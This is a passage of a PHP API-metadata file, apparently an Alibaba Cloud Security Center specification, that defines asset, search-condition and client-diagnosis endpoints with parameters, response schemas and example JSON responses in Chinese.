'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975DB586\\",\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 44,\\n \\"MachineList\\": [\\n {\\n \\"Uuid\\": \\"6d5b361f-958d-48a8-a9d2-d6e82c1****\\",\\n \\"MachineRegion\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"120.79.XX.XX\\",\\n \\"VendorName\\": \\"ALIYUN\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Os\\": \\"linux\\",\\n \\"InstanceId\\": \\"sas-bdrvxb4b****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-shanghai\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询未安装客户端资产', + ], + 'DescribeClientProblemType' => [ + 'summary' => '获取客户端问题诊断的分类列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回结果中显示的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', + ], + 'TotalCount' => [ + 'description' => '查询到的客户端问题列表总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '21', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'ProblemTypes' => [ + 'description' => '诊断类型的列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'problemId' => [ + 'description' => '诊断问题分类的ID。', + 'type' => 'string', + 'example' => '4', + ], + 'problemType' => [ + 'description' => '诊断问题分类名称。', + 'type' => 'string', + 'example' => 'high_cpu', + ], + 'problemDetail' => [ + 'description' => '诊断问题分类详情描述。', + 'type' => 'string', + 'example' => 'Server Guard Agent Offline', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\",\\n \\"TotalCount\\": 21,\\n \\"Count\\": 4,\\n \\"ProblemTypes\\": [\\n {\\n \\"problemId\\": \\"4\\",\\n \\"problemType\\": \\"high_cpu\\",\\n \\"problemDetail\\": \\"Server Guard Agent Offline\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询客户端问题列表', + ], + 'DeleteSearchCondition' => [ + 'summary' => '使用云安全中心的资产中心，主机资产功能时，可调用该接口来删除常用搜索条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91971', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '19.12.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '常用筛选条件名称。'."\n" + .'> 调用[DescribeSearchCondition](~~DescribeSearchCondition~~)接口获取。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '资产类型。默认为ecs。取值：'."\n" + ."\n" + .'- **ecs**：主机资产'."\n" + .'- **cloud_product**：云产品', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2983C540-E51F-582A-B510-732C27CD914C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2983C540-E51F-582A-B510-732C27CD914C\\"\\n}","type":"json"}]', + 'title' => '删除常用搜索条件', + ], + 'StartIdcProbeScan' => [ + 'summary' => '开启IDC探针扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92444', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXX\\"\\n}","type":"json"}]', + 'title' => '开启IDC扫描', + ], + 'ModifySearchCondition' => [ + 'summary' => '编辑主机资产常用筛选条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92388', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '27.223.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '常用筛选条件名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'FilterConditions', + 'in' => 'query', + 'schema' => [ + 'description' => '过滤条件。该参数JSON格式，输入参数时注意大小写。包含以下字段：'."\n" + ."\n" + .'- **filterParams**：过滤参数。该参数JSON格式。包含以下字段：'."\n" + .' - **label**：控制台搜索展示名称。'."\n" + .' - **value**：过滤参数条件。该参数JSON格式。包含以下字段：'."\n" + ."\n" + .' - **name**：筛选条件字段，该字段取值详见说明。'."\n" + .' - **value**：筛选条件字段对应值。'."\n" + ."\n" + .'- **LogicalExp**：多条件筛选时，条件之间的关系。取值：'."\n" + .' - **OR**：或'."\n" + .' - **AND**：且'."\n" + .'> **name**取值。'."\n" + .'> - **Type**为**ecs**时，您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口查询支持的搜索条件。'."\n" + .'> - **Type**为**cloud_product**时，您可以调用[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "filterParams": ['."\n" + .' {'."\n" + .' "label": "UUID：xxx",'."\n" + .' "value": "{\\"name\\":\\"uuidList\\",\\"value\\":\\"xxx\\"}"'."\n" + .' }'."\n" + .' ],'."\n" + .' "LogicalExp": "OR"'."\n" + .'}', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '资产类型。默认为**ecs**。取值：'."\n" + .'- **ecs**：主机资产'."\n" + .'- **cloud_product**：云产品', + 'type' => 'string', + 'required' => false, + 'example' => 'ecs', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9DFFCF83-4F7B-5E05-B82D-3B619D5****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9DFFCF83-4F7B-5E05-B82D-3B619D5****\\"\\n}","type":"json"}]', + 'title' => '编辑资产常用筛选条件', + ], + 'GetAssetDetailByUuid' => [ + 'summary' => '根据UUID查询服务器资产详情和扩展信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源IP。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '120.245.XX.XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4892B68B-47BC-5E56-B327-9C2ACC6C1C09', + ], + 'AssetDetail' => [ + 'description' => '资产信息详情。', + 'type' => 'object', + 'properties' => [ + 'CpuInfo' => [ + 'description' => 'CPU详细信息。', + 'type' => 'string', + 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '120.47.XX.XX', + ], + 'OsDetail' => [ + 'description' => '服务器的操作系统版本位数。', + 'type' => 'string', + 'example' => 'Linux 64bit', + ], + 'CreateTime' => [ + 'description' => '云安全中心记录当前资产信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1603863599000', + ], + 'Kernel' => [ + 'description' => '操作系统的内核版本。', + 'type' => 'string', + 'example' => '4.18.0-80.11.2.el8_0.x86_64', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OsName' => [ + 'description' => '服务器的操作系统名称。', + 'type' => 'string', + 'example' => 'CentOS 7.4 64bit', + ], + 'Tag' => [ + 'description' => '服务器的标签。', + 'type' => 'string', + 'example' => 'InternetIp', + ], + 'ClientStatus' => [ + 'description' => 'Agent客户端状态。取值： '."\n" + .'- **pause**：暂停保护'."\n" + .'- **online**：保护中'."\n" + .'- **offline**：未受保护', + 'type' => 'string', + 'example' => 'online', + ], + 'Mem' => [ + 'description' => '内存大小，单位为GB。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + 'Memory' => [ + 'description' => '内存大小，单位为MB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '16384', + ], + 'VpcInstanceId' => [ + 'description' => '服务器所在的VPC实例ID。', + 'type' => 'string', + 'example' => 'vpc-bp1fs3bwonlfq503w****', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版（未授权）'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'InstanceName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'i-fasdfasdfadfafa****', + ], + 'Region' => [ + 'description' => '服务器所在地域。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'GroupTrace' => [ + 'description' => '服务器所属的分组。未设置分组的服务器默认属于**未分组**。', + 'type' => 'string', + 'example' => 'default', + ], + 'Ip' => [ + 'description' => 'ECS分配的IP地址。', + 'type' => 'string', + 'example' => '120.47.XX.XX', + ], + 'HostName' => [ + 'description' => '主机名称。', + 'type' => 'string', + 'example' => 'qewrqwerqs****', + ], + 'Os' => [ + 'description' => '服务器的操作系统类型。', + 'type' => 'string', + 'example' => 'linux', + ], + 'AuthModifyTime' => [ + 'description' => '资产授权绑定的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1627974044000', + ], + 'InstanceId' => [ + 'description' => '服务器ID。', + 'type' => 'string', + 'example' => 'i-uf6h7p2fgk6rkk0g****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'AssetType' => [ + 'description' => '资产类型。取值： '."\n" + .'- **0**：云服务器ECS'."\n" + .'- **1**：负载均衡SLB'."\n" + .'- **2**：NAT网关'."\n" + .'- **3**：RDS数据库'."\n" + .'- **4**：MongoDb数据库'."\n" + .'- **5**：REDIS数据库'."\n" + .'- **6**：容器镜像IMAGE'."\n" + .'- **7**：容器CONTAINER', + 'type' => 'string', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '资产的地域ID。', + 'type' => 'string', + 'example' => 'cn-hanghzou', + ], + 'SysInfo' => [ + 'description' => '服务器的操作系统信息。', + 'type' => 'string', + 'example' => 'CentOS Linux 8.0.1905', + ], + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '9e6cad93-a379-46fd-a701-9bbf02f4****', + ], + 'Cpu' => [ + 'description' => 'CPU内核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'RegionName' => [ + 'description' => '服务器所在地域名称。', + 'type' => 'string', + 'example' => 'China (Hohhot)', + ], + 'Flag' => [ + 'description' => '资产是否为阿里云资产。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：非阿里云资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ClientVersion' => [ + 'description' => 'Agent客户端的版本。', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'IpList' => [ + 'description' => '服务器的IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器的IP地址列表。', + 'type' => 'string', + 'example' => '120.47.XX.XX', + ], + ], + 'MacList' => [ + 'description' => 'MAC地址。', + 'type' => 'array', + 'items' => [ + 'description' => 'MAC地址。', + 'type' => 'string', + 'example' => '00:16:3*:1*:9*:cf', + ], + ], + 'DiskInfoList' => [ + 'description' => '磁盘信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '磁盘信息。', + 'type' => 'object', + 'properties' => [ + 'DiskName' => [ + 'description' => '磁盘名称。', + 'type' => 'string', + 'example' => '/dev/vda1', + ], + 'UseSizeByte' => [ + 'description' => '磁盘已使用容量。单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2998996992', + ], + 'TotalSize' => [ + 'description' => '磁盘总容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '40', + ], + 'UseSize' => [ + 'description' => '磁盘已使用容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'TotalSizeByte' => [ + 'description' => '磁盘总容量，单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '42140479488', + ], + ], + ], + ], + 'ClientSubStatus' => [ + 'description' => '实例的客户端子状态。取值：'."\n" + ."\n" + .'- **online**：在线，表示资产的Agent客户端状态为**开启**。'."\n" + .'- **offline**：离线，表示资产的Agent客户端状态为**关闭**。'."\n" + .'- **pause**：暂停，表示资产的Agent客户端状态为**暂停保护**。'."\n" + .'- **uninstalled**：未安装，表示资产的Agent客户端状态为**未安装**。'."\n" + .'- **stopped**：服务器关机，表示资产的Agent客户端状态**服务器关机**。', + 'type' => 'string', + 'example' => 'online', + ], + 'VendorAuthAlias' => [ + 'description' => 'AK所属的账号名称。'."\n" + .'> 仅第三方主机资产可能会返回该参数，该参数值为空时不返回。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4892B68B-47BC-5E56-B327-9C2ACC6C1C09\\",\\n \\"AssetDetail\\": {\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"InternetIp\\": \\"120.47.XX.XX\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"OsName\\": \\"CentOS 7.4 64bit\\",\\n \\"Tag\\": \\"InternetIp\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"Mem\\": 16,\\n \\"Memory\\": 16384,\\n \\"VpcInstanceId\\": \\"vpc-bp1fs3bwonlfq503w****\\",\\n \\"AuthVersion\\": 7,\\n \\"InstanceName\\": \\"i-fasdfasdfadfafa****\\",\\n \\"Region\\": \\"cn-shanghai\\",\\n \\"GroupTrace\\": \\"default\\",\\n \\"Ip\\": \\"120.47.XX.XX\\",\\n \\"HostName\\": \\"qewrqwerqs****\\",\\n \\"Os\\": \\"linux\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"InstanceId\\": \\"i-uf6h7p2fgk6rkk0g****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Uuid\\": \\"9e6cad93-a379-46fd-a701-9bbf02f4****\\",\\n \\"Cpu\\": 2,\\n \\"RegionName\\": \\"China (Hohhot)\\",\\n \\"Flag\\": 0,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"120.47.XX.XX\\"\\n ],\\n \\"MacList\\": [\\n \\"00:16:3*:1*:9*:cf\\"\\n ],\\n \\"DiskInfoList\\": [\\n {\\n \\"DiskName\\": \\"/dev/vda1\\",\\n \\"UseSizeByte\\": 2998996992,\\n \\"TotalSize\\": 40,\\n \\"UseSize\\": 2,\\n \\"TotalSizeByte\\": 42140479488\\n }\\n ],\\n \\"ClientSubStatus\\": \\"online\\",\\n \\"VendorAuthAlias\\": \\"test\\"\\n }\\n}","type":"json"}]', + 'title' => '查询服务器资产详情和扩展信息', + ], + 'DescribeGroupStruct' => [ + 'summary' => '获取分组结构。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '9FBC6E47-7508-58C9-9E76-528E118C****', + ], + 'GroupId' => [ + 'description' => '资产分组的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '958****', + ], + 'GroupName' => [ + 'description' => '服务器分组名称。', + 'type' => 'string', + 'example' => 'TestGroupName', + ], + 'MachineNum' => [ + 'description' => '服务器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'GroupIndex' => [ + 'description' => '排序序号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GroupFather' => [ + 'description' => '分组父节点。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '958****', + ], + 'GroupLevel' => [ + 'description' => '应用分组的级别。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'GroupFlag' => [ + 'description' => '服务器分组类型。取值：'."\n" + .'- **0**：默认分组'."\n" + .'- **1**：其他分组', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Groups' => [ + 'description' => '下一级分组集合。', + 'type' => 'array', + 'items' => [ + 'description' => '字段同上一级。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "groupName": "testfuxian",'."\n" + .' "groupFather": 0,'."\n" + .' "groupId": 11501234,'."\n" + .' "childGroups": [],'."\n" + .' "groupLevel": 1,'."\n" + .' "groupIndex": 100,'."\n" + .' "groupFlag": 1'."\n" + .' },'."\n" + .' {'."\n" + .' "groupName": "testfuxian",'."\n" + .' "groupFather": 0,'."\n" + .' "groupId": 11501234,'."\n" + .' "childGroups": [],'."\n" + .' "groupLevel": 1,'."\n" + .' "groupIndex": 100,'."\n" + .' "groupFlag": 1'."\n" + .' }'."\n" + .']', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118C****\\",\\n \\"GroupId\\": 0,\\n \\"GroupName\\": \\"TestGroupName\\",\\n \\"MachineNum\\": 30,\\n \\"GroupIndex\\": 1,\\n \\"GroupFather\\": 0,\\n \\"GroupLevel\\": 2,\\n \\"GroupFlag\\": 0,\\n \\"Groups\\": [\\n \\"[\\\\n\\\\t{\\\\n\\\\t\\\\t\\\\\\"groupName\\\\\\": \\\\\\"testfuxian\\\\\\",\\\\n\\\\t\\\\t\\\\\\"groupFather\\\\\\": 0,\\\\n\\\\t\\\\t\\\\\\"groupId\\\\\\": 11501234,\\\\n\\\\t\\\\t\\\\\\"childGroups\\\\\\": [],\\\\n\\\\t\\\\t\\\\\\"groupLevel\\\\\\": 1,\\\\n\\\\t\\\\t\\\\\\"groupIndex\\\\\\": 100,\\\\n\\\\t\\\\t\\\\\\"groupFlag\\\\\\": 1\\\\n\\\\t},\\\\n\\\\t{\\\\n\\\\t\\\\t\\\\\\"groupName\\\\\\": \\\\\\"testfuxian\\\\\\",\\\\n\\\\t\\\\t\\\\\\"groupFather\\\\\\": 0,\\\\n\\\\t\\\\t\\\\\\"groupId\\\\\\": 11501234,\\\\n\\\\t\\\\t\\\\\\"childGroups\\\\\\": [],\\\\n\\\\t\\\\t\\\\\\"groupLevel\\\\\\": 1,\\\\n\\\\t\\\\t\\\\\\"groupIndex\\\\\\": 100,\\\\n\\\\t\\\\t\\\\\\"groupFlag\\\\\\": 1\\\\n\\\\t}\\\\n]\\"\\n ]\\n}","type":"json"}]', + 'title' => '获取分组结构', + ], + 'ListCloudAssetInstances' => [ + 'summary' => '获取云产品资产列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，包含以下字段：'."\n" + .'- **name**：检索项'."\n" + .'- **value**：检索项值'."\n" + .'- **logicalExp**：多个检索项值生效的逻辑关系。取值：'."\n" + .' - **OR**：表示多个检索项值之间是**或**的关系。'."\n" + .' - **AND**：表示多个检索项值之间是**与**的关系。'."\n" + .'> 您可以调用[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"name\\":\\"internetIp\\",\\"value\\":\\"192.168\\",\\"logicalExp\\":\\"OR\\"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + ."\n" + .'- **OR**：表示多个搜索条件之间是**或**的关系。'."\n" + .'- **AND**：表示多个搜索条件之间是**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '每页最多可显示的行数，最大值为100，默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '100', + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'CloudAssetTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云资产实例的资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产实例的资产。', + 'type' => 'object', + 'properties' => [ + 'AssetType' => [ + 'description' => '云资产的类型。'."\n" + ."\n" + .'> 具体含义参考接口[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetType。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '18', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + ."\n" + .'> 具体含义参考接口[GetCloudAssetCriteria](~~GetCloudAssetCriteria~~) AssetSubType。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'CloudAssetQueryData', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '根据关键字查询数据列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '查询内容。', + 'type' => 'string', + 'required' => false, + 'example' => '163.8.8.9', + ], + 'Operator' => [ + 'description' => '查询操作符，目前仅支持：INCLUDE。', + 'type' => 'string', + 'required' => false, + 'example' => 'INCLUDE', + 